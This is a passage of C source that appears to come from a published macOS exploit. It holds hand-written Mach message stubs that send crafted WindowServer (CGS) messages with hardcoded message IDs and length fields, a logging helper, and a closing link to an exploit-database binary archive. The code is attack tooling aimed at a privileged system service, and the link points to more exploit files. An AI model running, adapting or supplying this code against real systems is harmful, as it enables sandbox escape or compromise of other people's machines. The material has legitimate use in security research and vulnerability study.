msg.ool_serialized_value.size = serialized_value_length;
msg.ool_serialized_value.deallocate = deallocate;
msg.ool_serialized_value.copy = MACH_MSG_VIRTUAL_COPY;
msg.NDR_record = NDR_record;
msg.connection_id = connection_id;
strncpy(msg.key, key_value, sizeof(msg.key));
msg.key_len = 127;
msg.serialized_value_length = serialized_value_length;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
msg.header.msgh_remote_port = connection_port;
msg.header.msgh_id = 29398;
kern_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
return kr;
}
#pragma pack(push, 4)
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_serialized_value;
NDR_record_t NDR_record;
uint32_t serialized_value_length;
} CGSSetPerUserConfigurationData_message_t;
#pragma pack(pop)
#pragma pack(push, 4)
typedef struct {
mach_msg_header_t header;
NDR_record_t NDR_record;
uint64_t process_serial_number;
uint32_t connection_id;
} CGSSetAuxConn_message_t;
#pragma pack(pop)
static mach_msg_return_t _CGSSetAuxConn(uint32_t connection_id, ProcessSerialNumber *process_serial_number)
{
CGSSetAuxConn_message_t msg;
memset(&msg, 0, sizeof(msg));
msg.connection_id = connection_id;
msg.process_serial_number = *(uint64_t *)process_serial_number;
msg.NDR_record = NDR_record;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
msg.header.msgh_id = 29368;
return mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg), 0, 0, 0, 0);
}
#pragma pack(push, 4)
typedef struct {
mach_msg_header_t header;
NDR_record_t NDR_record;
ProcessSerialNumber sn;
uint32_t session_id;
uint32_t session_attributes;
uint32_t unknown_2;
uint32_t pid;
uint32_t padding_1;
uint32_t app_name_len;
char app_name[128];
char multi_process;
uint32_t connection_id;
uint32_t padding_2;
} CGSCreateApplication_message_t;
typedef struct {
mach_msg_header_t header;
NDR_record_t NDR_record;
kern_return_t retcode;
} CGSCreateApplication_reply_t;
#pragma pack(pop)
static mach_msg_return_t _CGSCreateApplication(uint32_t connection_id, ProcessSerialNumber sn, uint32_t session_id, uint32_t session_attributes, uint32_t unknown_2, pid_t pid, char *app_name, char multi_process, uint32_t sent_connection_id)
{
CGSCreateApplication_message_t msg;
memset(&msg, 0, sizeof(msg));
msg.connection_id = connection_id;
msg.sn = sn;
msg.session_id = session_id;
msg.session_attributes = session_attributes;
msg.unknown_2 = unknown_2;
msg.pid = pid;
strncpy(msg.app_name, app_name, sizeof(msg.app_name));
msg.app_name_len = 127;
msg.multi_process = multi_process;
msg.connection_id = sent_connection_id;
msg.NDR_record = NDR_record;
msg.header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE);
msg.header.msgh_remote_port = CGSGetConnectionPortById(connection_id);
msg.header.msgh_id = 29507;
msg.header.msgh_local_port = mig_get_reply_port();
mach_msg_return_t kr = mach_msg(&msg.header, MACH_SEND_MSG|MACH_RCV_MSG, sizeof(msg), sizeof(msg), msg.header.msgh_local_port, 0, 0);
if (kr != KERN_SUCCESS)
{
switch (kr) {
case MACH_SEND_INVALID_DATA:
case MACH_SEND_INVALID_DEST:
case MACH_SEND_INVALID_HEADER:
mig_put_reply_port(msg.header.msgh_local_port);
break;
default:
mig_dealloc_reply_port(msg.header.msgh_local_port);
}
}
else
kr = ((CGSCreateApplication_reply_t *)&msg)->retcode;
return kr;
}
static void timed_log(char* format, ...)
{
char buffer[30];
struct tm* time_info;
time_t t = time(NULL);
time_info = localtime(&t);
strftime(buffer, 30, "%Y-%m-%d %H:%M:%S ", time_info);
fputs(buffer, stderr);
va_list args;
va_start(args, format);
vfprintf(stderr, format, args);
va_end(args);
}
# Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46428.zip